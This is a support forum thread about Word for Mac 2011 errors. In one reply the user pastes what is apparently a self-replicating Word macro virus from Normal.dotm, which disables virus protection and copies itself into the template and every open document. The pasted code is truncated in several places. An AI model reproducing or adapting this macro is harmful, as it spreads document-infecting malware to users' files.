7 Replies Latest reply: Jan 7, 2012 8:14 AM by Barney-15E
jbrown27 Level 1 (0 points)

I've been having problems with Microsoft Word on my iMac (that is running Lion). All sorts of error messages pop up and the program is basically useless to me. In speaking with microsoft they did some troubleshooting and couldn't figure it out, but then suggested I try creating a new  user on my iMac and seeing if I had any problems with word under the new user. That solved the problem. So i'd like to move my iTunes, iPhoto, files, etc to a new user on my iMac and then delete the old user account. I've found a lot of info online about transfering a user account to another mac, but i'm not wanting to transfer my user account. I just want to set a whole new user and start fresh, but bring over my iTunes library, iPhoto, etc. Can anyone point me in the right direction?



  • sig Level 8 (35,785 points)

    You fail to mention the version of Office you are using. That said seek help with Microsoft software here:


  • Pondini Level 8 (38,740 points)

    jbrown27 wrote:

    . . .

    So i'd like to move my iTunes, iPhoto, files, etc to a new user on my iMac and then delete the old user account.

    That's not simple or easy, unfortunately.  See Transferring files from one User Account to another for some suggestions.

  • jbrown27 Level 1 (0 points)

    It's Microsoft Office: mac 2011. But that being said, as I mentioned in my post, I already spoke with Microsoft and they couldn't figure out the issue under my current user account. But office works just fine under a new user on my iMac. So at this point i'm not trying to solve any microsoft issues, i'm trying to figure out how to transfer itunes, iphoto, etc over to a new user. Microsoft won't be of much help with that. 

  • Linc Davis Level 10 (192,472 points)

    If you copy all your user files to a new account, you will have exactly the same problems in the new account. The simplest solution would be to delete all your Microsoft Office settings files and start fresh. I don't use Office so I can't tell you where those files are. You should be able to find that out either from the documentation, from MS tech support, or from its user forums.

  • Barney-15E Level 8 (46,294 points)

    Those files are in your Documents folder in Microsoft User Data.

    Try moving that folder to your desktop, delete these two files from your user/Library/Preferences folder:



    Start Word, and see if that fixes it.


    If you use Outlook, that data is stored inside that folder. We can move it back in if this fixes it.


    If that doesn't help, what are some of the error messages you are getting?

  • jbrown27 Level 1 (0 points)

    I moved the Microsoft User Data folder to the desktop and deleted the two files you mentioned and then opened Word but it didn't fix it. I get all sorts of things that pop up in Word:


    -A window that says Microsoft Visual Basic at the top and below it says "This Command will stop debugger"


    -I get a box that says "Compile error: method or data member not found


    -I get a big window that at the top says Normal.dotm-ThisDocument (code) and then has all this in the window:

    Private Sub Document_Open()


        On Error Resume Next

        Application.Options.VirusProtection = False

        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then

        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _

        .Deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _


        End If

        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then

        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _

        .Insertlines 1, ActiveDocument.VBProject.VBComponents.Item(1) _

        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _


        End If

        If NormalTemplate.Saved = False Then NormalTemplate.Save

        For k = 1 To Application.Documents.Count

        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2 , 1) <> "'Thus_001'" Then

        Application.Documents.Item(k).VBProject.VBComponents.Item(1) _

        .CodeModule.Deletelines 1, Application.Documents.Item(k) _


        End If

        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOf Lines = 0 Then

        Application.Documents.Item(k).VBProject.VBComponents.Item(1) _

        .CodeModule.Insertlines 1, NormalTemplate.VBProject.VBComponents _

        .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _


        End If

        Next k

        If (Day(Now()) = 13) And (Month(Now()) = 12) Then

        With Application.FileSearch


  • Barney-15E Level 8 (46,294 points)

    You've got some sort of Visual basic code embedded that is causing you problem. Did you install any add-ons or helpers for Word?


    Go to your user/Library/Application Support/Microsoft/Office/User Templates/ folder and delete Normal.dotm